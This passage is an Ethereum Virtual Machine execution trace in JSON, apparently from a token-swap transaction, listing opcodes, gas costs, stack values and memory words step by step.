0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2895,"op":"ADD","gas":100557,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xc4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2896,"op":"PUSH1","gas":100554,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2898,"op":"DUP2","gas":100551,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xe4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2899,"op":"ADD","gas":100548,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xe4","0x20","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2900,"op":"SWAP1","gas":100545,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xe4","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2901,"op":"PUSH2","gas":100542,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x104","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2904,"op":"SWAP2","gas":100539,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x104","0xe4","0xb5e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2905,"op":"SWAP1","gas":100536,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0xe4","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2906,"op":"PUSH2","gas":100533,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2909,"op":"JUMP","gas":100530,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x3b81"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15233,"op":"JUMPDEST","gas":100522,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15234,"op":"PUSH1","gas":100521,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15236,"op":"PUSH1","gas":100518,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15238,"op":"DUP3","gas":100515,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15239,"op":"DUP5","gas":100512,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x20","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15240,"op":"SUB","gas":100509,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x20","0xe4","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15241,"op":"SLT","gas":100506,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15242,"op":"ISZERO","gas":100503,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15243,"op":"PUSH2","gas":100500,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb5e","0x104","0xe4","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"